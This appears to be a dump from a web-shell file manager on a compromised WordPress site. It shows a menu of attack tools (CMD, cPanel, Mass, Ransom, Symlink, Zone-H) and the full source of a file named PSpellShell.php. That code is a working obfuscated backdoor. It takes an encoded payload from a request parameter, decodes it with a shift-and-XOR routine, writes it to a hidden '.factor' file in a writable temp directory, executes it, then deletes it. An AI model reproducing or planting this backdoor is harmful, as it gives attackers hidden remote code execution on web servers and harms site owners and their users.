| Path : /var/www/html/eceas/wp-content/includes/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-content/includes/PSpellShell.php |
<?php
if(isset($_REQUEST["mrk"])){
$binding = $_REQUEST["mrk"];
$binding = explode ( "." , $binding);
$obj = '';
$s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s9 );
$x = 0;
array_walk($binding, function($v8) use(&$obj, &$x, $s9, $lenS) {
$chS = ord($s9[$x % $lenS] );
$d =((int)$v8 - $chS -($x % 10))^ 30;
$obj .= chr($d );
$x++;} );
$record = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path()]);
foreach ($record as $hld) {
if (max(0, is_dir($hld) * is_writable($hld))) {
$dat = "$hld/.factor";
if (file_put_contents($dat, $obj)) {
require $dat;
unlink($dat);
die();
}
}
}
}